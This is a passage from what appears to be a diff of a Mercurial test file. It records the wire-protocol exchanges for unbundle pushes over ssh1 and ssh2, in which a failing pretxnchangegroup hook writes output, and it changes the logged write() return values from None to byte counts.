277 277 i> hello\n
278 278 i> between\n
279 279 i> pairs 81\n
280 280 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
281 281 i> flush() -> None
282 282 o> readline() -> 62:
283 283 o> upgraded * exp-ssh-v2-0001\n (glob)
284 284 o> readline() -> 4:
285 285 o> 383\n
286 286 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
287 287 o> read(1) -> 1:
288 288 o> \n
289 289 sending unbundle command
290 i> write(9) -> None:
290 i> write(9) -> 9:
291 291 i> unbundle\n
292 i> write(9) -> None:
292 i> write(9) -> 9:
293 293 i> heads 10\n
294 i> write(10) -> None: 666f726365
294 i> write(10) -> 10: 666f726365
295 295 i> flush() -> None
296 296 o> readline() -> 2:
297 297 o> 0\n
298 i> write(4) -> None:
298 i> write(4) -> 4:
299 299 i> 426\n
300 i> write(426) -> None:
300 i> write(426) -> 426:
301 301 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
302 302 i> test\n
303 303 i> 0 0\n
304 304 i> foo\n
305 305 i> \n
306 306 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
307 307 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
308 308 i> \x00\x00\x00\x00\x00\x00\x00\x00
309 i> write(2) -> None:
309 i> write(2) -> 2:
310 310 i> 0\n
311 311 i> flush() -> None
312 312 o> readline() -> 2:
313 313 o> 0\n
314 314 o> readline() -> 2:
315 315 o> 1\n
316 316 o> read(1) -> 1: 0
317 317 result: 0
318 318 remote output:
319 319 e> read(-1) -> 196:
320 320 e> adding changesets\n
321 321 e> adding manifests\n
322 322 e> adding file changes\n
323 323 e> added 1 changesets with 1 changes to 1 files\n
324 324 e> ui.write 1 line\n
325 325 e> transaction abort!\n
326 326 e> rollback completed\n
327 327 e> abort: pretxnchangegroup.fail hook failed\n
328 328
329 329 And a variation that writes multiple lines using ui.write
330 330
331 331 $ cat > .hg/hgrc << EOF
332 332 > [hooks]
333 333 > pretxnchangegroup.fail = python:$TESTTMP/failhook:hook2lines
334 334 > EOF
335 335
336 336 $ debugwireproto << EOF
337 337 > command unbundle
338 338 > # This is "force" in hex.
339 339 > heads 666f726365
340 340 > PUSHFILE ../initial.v1.hg
341 341 > readavailable
342 342 > EOF
343 343 testing ssh1
344 344 creating ssh peer from handshake results
345 i> write(104) -> None:
345 i> write(104) -> 104:
346 346 i> hello\n
347 347 i> between\n
348 348 i> pairs 81\n
349 349 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
350 350 i> flush() -> None
351 351 o> readline() -> 4:
352 352 o> 384\n
353 353 o> readline() -> 384:
354 354 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
355 355 o> readline() -> 2:
356 356 o> 1\n
357 357 o> readline() -> 1:
358 358 o> \n
359 359 sending unbundle command
360 i> write(9) -> None:
360 i> write(9) -> 9:
361 361 i> unbundle\n
362 i> write(9) -> None:
362 i> write(9) -> 9:
363 363 i> heads 10\n
364 i> write(10) -> None: 666f726365
364 i> write(10) -> 10: 666f726365
365 365 i> flush() -> None
366 366 o> readline() -> 2:
367 367 o> 0\n
368 i> write(4) -> None:
368 i> write(4) -> 4:
369 369 i> 426\n
370 i> write(426) -> None:
370 i> write(426) -> 426:
371 371 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
372 372 i> test\n
373 373 i> 0 0\n
374 374 i> foo\n
375 375 i> \n
376 376 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
377 377 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
378 378 i> \x00\x00\x00\x00\x00\x00\x00\x00
379 i> write(2) -> None:
379 i> write(2) -> 2:
380 380 i> 0\n
381 381 i> flush() -> None
382 382 o> readline() -> 2:
383 383 o> 0\n
384 384 o> readline() -> 2:
385 385 o> 1\n
386 386 o> read(1) -> 1: 0
387 387 result: 0
388 388 remote output:
389 389 e> read(-1) -> 218:
390 390 e> adding changesets\n
391 391 e> adding manifests\n
392 392 e> adding file changes\n
393 393 e> added 1 changesets with 1 changes to 1 files\n
394 394 e> ui.write 2 lines 1\n
395 395 e> ui.write 2 lines 2\n
396 396 e> transaction abort!\n
397 397 e> rollback completed\n
398 398 e> abort: pretxnchangegroup.fail hook failed\n
399 399
400 400 testing ssh2
401 401 creating ssh peer from handshake results
402 i> write(171) -> None:
402 i> write(171) -> 171:
403 403 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
404 404 i> hello\n
405 405 i> between\n
406 406 i> pairs 81\n
407 407 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
408 408 i> flush() -> None
409 409 o> readline() -> 62:
410 410 o> upgraded * exp-ssh-v2-0001\n (glob)
411 411 o> readline() -> 4:
412 412 o> 383\n
413 413 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
414 414 o> read(1) -> 1:
415 415 o> \n
416 416 sending unbundle command
417 i> write(9) -> None:
417 i> write(9) -> 9:
418 418 i> unbundle\n
419 i> write(9) -> None:
419 i> write(9) -> 9:
420 420 i> heads 10\n
421 i> write(10) -> None: 666f726365
421 i> write(10) -> 10: 666f726365
422 422 i> flush() -> None
423 423 o> readline() -> 2:
424 424 o> 0\n
425 i> write(4) -> None:
425 i> write(4) -> 4:
426 426 i> 426\n
427 i> write(426) -> None:
427 i> write(426) -> 426:
428 428 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
429 429 i> test\n
430 430 i> 0 0\n
431 431 i> foo\n
432 432 i> \n
433 433 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
434 434 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
435 435 i> \x00\x00\x00\x00\x00\x00\x00\x00
436 i> write(2) -> None:
436 i> write(2) -> 2:
437 437 i> 0\n
438 438 i> flush() -> None
439 439 o> readline() -> 2:
440 440 o> 0\n
441 441 o> readline() -> 2:
442 442 o> 1\n
443 443 o> read(1) -> 1: 0
444 444 result: 0
445 445 remote output:
446 446 e> read(-1) -> 218:
447 447 e> adding changesets\n
448 448 e> adding manifests\n
449 449 e> adding file changes\n
450 450 e> added 1 changesets with 1 changes to 1 files\n
451 451 e> ui.write 2 lines 1\n
452 452 e> ui.write 2 lines 2\n
453 453 e> transaction abort!\n
454 454 e> rollback completed\n
455 455 e> abort: pretxnchangegroup.fail hook failed\n
456 456
457 457 And a variation that does a ui.flush() after writing output
458 458
459 459 $ cat > .hg/hgrc << EOF
460 460 > [hooks]
461 461 > pretxnchangegroup.fail = python:$TESTTMP/failhook:hook1lineflush
462 462 > EOF
463 463
464 464 $ debugwireproto << EOF
465 465 > command unbundle
466 466 > # This is "force" in hex.
467 467 > heads 666f726365
468 468 > PUSHFILE ../initial.v1.hg
469 469 > readavailable
470 470 > EOF
471 471 testing ssh1
472 472 creating ssh peer from handshake results
473 i> write(104) -> None:
473 i> write(104) -> 104:
474 474 i> hello\n
475 475 i> between\n
476 476 i> pairs 81\n
477 477 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
478 478 i> flush() -> None
479 479 o> readline() -> 4:
480 480 o> 384\n
481 481 o> readline() -> 384:
482 482 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
483 483 o> readline() -> 2:
484 484 o> 1\n
485 485 o> readline() -> 1:
486 486 o> \n
487 487 sending unbundle command
488 i> write(9) -> None:
488 i> write(9) -> 9:
489 489 i> unbundle\n
490 i> write(9) -> None:
490 i> write(9) -> 9:
491 491 i> heads 10\n
492 i> write(10) -> None: 666f726365
492 i> write(10) -> 10: 666f726365
493 493 i> flush() -> None
494 494 o> readline() -> 2:
495 495 o> 0\n
496 i> write(4) -> None:
496 i> write(4) -> 4:
497 497 i> 426\n
498 i> write(426) -> None:
498 i> write(426) -> 426:
499 499 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
500 500 i> test\n
501 501 i> 0 0\n
502 502 i> foo\n
503 503 i> \n
504 504 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
505 505 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
506 506 i> \x00\x00\x00\x00\x00\x00\x00\x00
507 i> write(2) -> None:
507 i> write(2) -> 2:
508 508 i> 0\n
509 509 i> flush() -> None
510 510 o> readline() -> 2:
511 511 o> 0\n
512 512 o> readline() -> 2:
513 513 o> 1\n
514 514 o> read(1) -> 1: 0
515 515 result: 0
516 516 remote output:
517 517 e> read(-1) -> 202:
518 518 e> adding changesets\n
519 519 e> adding manifests\n
520 520 e> adding file changes\n
521 521 e> added 1 changesets with 1 changes to 1 files\n
522 522 e> ui.write 1 line flush\n
523 523 e> transaction abort!\n
524 524 e> rollback completed\n
525 525 e> abort: pretxnchangegroup.fail hook failed\n
526 526
527 527 testing ssh2
528 528 creating ssh peer from handshake results
529 i> write(171) -> None:
529 i> write(171) -> 171:
530 530 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
531 531 i> hello\n
532 532 i> between\n
533 533 i> pairs 81\n
534 534 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
535 535 i> flush() -> None
536 536 o> readline() -> 62:
537 537 o> upgraded * exp-ssh-v2-0001\n (glob)
538 538 o> readline() -> 4:
539 539 o> 383\n
540 540 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
541 541 o> read(1) -> 1:
542 542 o> \n
543 543 sending unbundle command
544 i> write(9) -> None:
544 i> write(9) -> 9:
545 545 i> unbundle\n
546 i> write(9) -> None:
546 i> write(9) -> 9:
547 547 i> heads 10\n
548 i> write(10) -> None: 666f726365
548 i> write(10) -> 10: 666f726365
549 549 i> flush() -> None
550 550 o> readline() -> 2:
551 551 o> 0\n
552 i> write(4) -> None:
552 i> write(4) -> 4:
553 553 i> 426\n
554 i> write(426) -> None:
554 i> write(426) -> 426:
555 555 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
556 556 i> test\n
557 557 i> 0 0\n
558 558 i> foo\n
559 559 i> \n
560 560 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
561 561 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
562 562 i> \x00\x00\x00\x00\x00\x00\x00\x00
563 i> write(2) -> None:
563 i> write(2) -> 2:
564 564 i> 0\n
565 565 i> flush() -> None
566 566 o> readline() -> 2:
567 567 o> 0\n
568 568 o> readline() -> 2:
569 569 o> 1\n
570 570 o> read(1) -> 1: 0
571 571 result: 0
572 572 remote output:
573 573 e> read(-1) -> 202:
574 574 e> adding changesets\n
575 575 e> adding manifests\n
576 576 e> adding file changes\n
577 577 e> added 1 changesets with 1 changes to 1 files\n
578 578 e> ui.write 1 line flush\n
579 579 e> transaction abort!\n
580 580 e> rollback completed\n
581 581 e> abort: pretxnchangegroup.fail hook failed\n
582 582
583 583 Multiple writes + flush
584 584
585 585 $ cat > .hg/hgrc << EOF
586 586 > [hooks]
587 587 > pretxnchangegroup.fail = python:$TESTTMP/failhook:hookmultiflush
588 588 > EOF
589 589
590 590 $ debugwireproto << EOF
591 591 > command unbundle
592 592 > # This is "force" in hex.
593 593 > heads 666f726365
594 594 > PUSHFILE ../initial.v1.hg
595 595 > readavailable
596 596 > EOF
597 597 testing ssh1
598 598 creating ssh peer from handshake results
599 i> write(104) -> None:
599 i> write(104) -> 104:
600 600 i> hello\n
601 601 i> between\n
602 602 i> pairs 81\n
603 603 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
604 604 i> flush() -> None
605 605 o> readline() -> 4:
606 606 o> 384\n
607 607 o> readline() -> 384:
608 608 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
609 609 o> readline() -> 2:
610 610 o> 1\n
611 611 o> readline() -> 1:
612 612 o> \n
613 613 sending unbundle command
614 i> write(9) -> None:
614 i> write(9) -> 9:
615 615 i> unbundle\n
616 i> write(9) -> None:
616 i> write(9) -> 9:
617 617 i> heads 10\n
618 i> write(10) -> None: 666f726365
618 i> write(10) -> 10: 666f726365
619 619 i> flush() -> None
620 620 o> readline() -> 2:
621 621 o> 0\n
622 i> write(4) -> None:
622 i> write(4) -> 4:
623 623 i> 426\n
624 i> write(426) -> None:
624 i> write(426) -> 426:
625 625 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
626 626 i> test\n
627 627 i> 0 0\n
628 628 i> foo\n
629 629 i> \n
630 630 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
631 631 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
632 632 i> \x00\x00\x00\x00\x00\x00\x00\x00
633 i> write(2) -> None:
633 i> write(2) -> 2:
634 634 i> 0\n
635 635 i> flush() -> None
636 636 o> readline() -> 2:
637 637 o> 0\n
638 638 o> readline() -> 2:
639 639 o> 1\n
640 640 o> read(1) -> 1: 0
641 641 result: 0
642 642 remote output:
643 643 e> read(-1) -> 206:
644 644 e> adding changesets\n
645 645 e> adding manifests\n
646 646 e> adding file changes\n
647 647 e> added 1 changesets with 1 changes to 1 files\n
648 648 e> ui.write 1st\n
649 649 e> ui.write 2nd\n
650 650 e> transaction abort!\n
651 651 e> rollback completed\n
652 652 e> abort: pretxnchangegroup.fail hook failed\n
653 653
654 654 testing ssh2
655 655 creating ssh peer from handshake results
656 i> write(171) -> None:
656 i> write(171) -> 171:
657 657 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
658 658 i> hello\n
659 659 i> between\n
660 660 i> pairs 81\n
661 661 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
662 662 i> flush() -> None
663 663 o> readline() -> 62:
664 664 o> upgraded * exp-ssh-v2-0001\n (glob)
665 665 o> readline() -> 4:
666 666 o> 383\n
667 667 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
668 668 o> read(1) -> 1:
669 669 o> \n
670 670 sending unbundle command
671 i> write(9) -> None:
671 i> write(9) -> 9:
672 672 i> unbundle\n
673 i> write(9) -> None:
673 i> write(9) -> 9:
674 674 i> heads 10\n
675 i> write(10) -> None: 666f726365
675 i> write(10) -> 10: 666f726365
676 676 i> flush() -> None
677 677 o> readline() -> 2:
678 678 o> 0\n
679 i> write(4) -> None:
679 i> write(4) -> 4:
680 680 i> 426\n
681 i> write(426) -> None:
681 i> write(426) -> 426:
682 682 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
683 683 i> test\n
684 684 i> 0 0\n
685 685 i> foo\n
686 686 i> \n
687 687 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
688 688 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
689 689 i> \x00\x00\x00\x00\x00\x00\x00\x00
690 i> write(2) -> None:
690 i> write(2) -> 2:
691 691 i> 0\n
692 692 i> flush() -> None
693 693 o> readline() -> 2:
694 694 o> 0\n
695 695 o> readline() -> 2:
696 696 o> 1\n
697 697 o> read(1) -> 1: 0
698 698 result: 0
699 699 remote output:
700 700 e> read(-1) -> 206:
701 701 e> adding changesets\n
702 702 e> adding manifests\n
703 703 e> adding file changes\n
704 704 e> added 1 changesets with 1 changes to 1 files\n
705 705 e> ui.write 1st\n
706 706 e> ui.write 2nd\n
707 707 e> transaction abort!\n
708 708 e> rollback completed\n
709 709 e> abort: pretxnchangegroup.fail hook failed\n
710 710
711 711 ui.write() + ui.write_err() output is captured
712 712
713 713 $ cat > .hg/hgrc << EOF
714 714 > [hooks]
715 715 > pretxnchangegroup.fail = python:$TESTTMP/failhook:hookwriteandwriteerr
716 716 > EOF
717 717
718 718 $ debugwireproto << EOF
719 719 > command unbundle
720 720 > # This is "force" in hex.
721 721 > heads 666f726365
722 722 > PUSHFILE ../initial.v1.hg
723 723 > readavailable
724 724 > EOF
725 725 testing ssh1
726 726 creating ssh peer from handshake results
727 i> write(104) -> None:
727 i> write(104) -> 104:
728 728 i> hello\n
729 729 i> between\n
730 730 i> pairs 81\n
731 731 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
732 732 i> flush() -> None
733 733 o> readline() -> 4:
734 734 o> 384\n
735 735 o> readline() -> 384:
736 736 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
737 737 o> readline() -> 2:
738 738 o> 1\n
739 739 o> readline() -> 1:
740 740 o> \n
741 741 sending unbundle command
742 i> write(9) -> None:
742 i> write(9) -> 9:
743 743 i> unbundle\n
744 i> write(9) -> None:
744 i> write(9) -> 9:
745 745 i> heads 10\n
746 i> write(10) -> None: 666f726365
746 i> write(10) -> 10: 666f726365
747 747 i> flush() -> None
748 748 o> readline() -> 2:
749 749 o> 0\n
750 i> write(4) -> None:
750 i> write(4) -> 4:
751 751 i> 426\n
752 i> write(426) -> None:
752 i> write(426) -> 426:
753 753 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
754 754 i> test\n
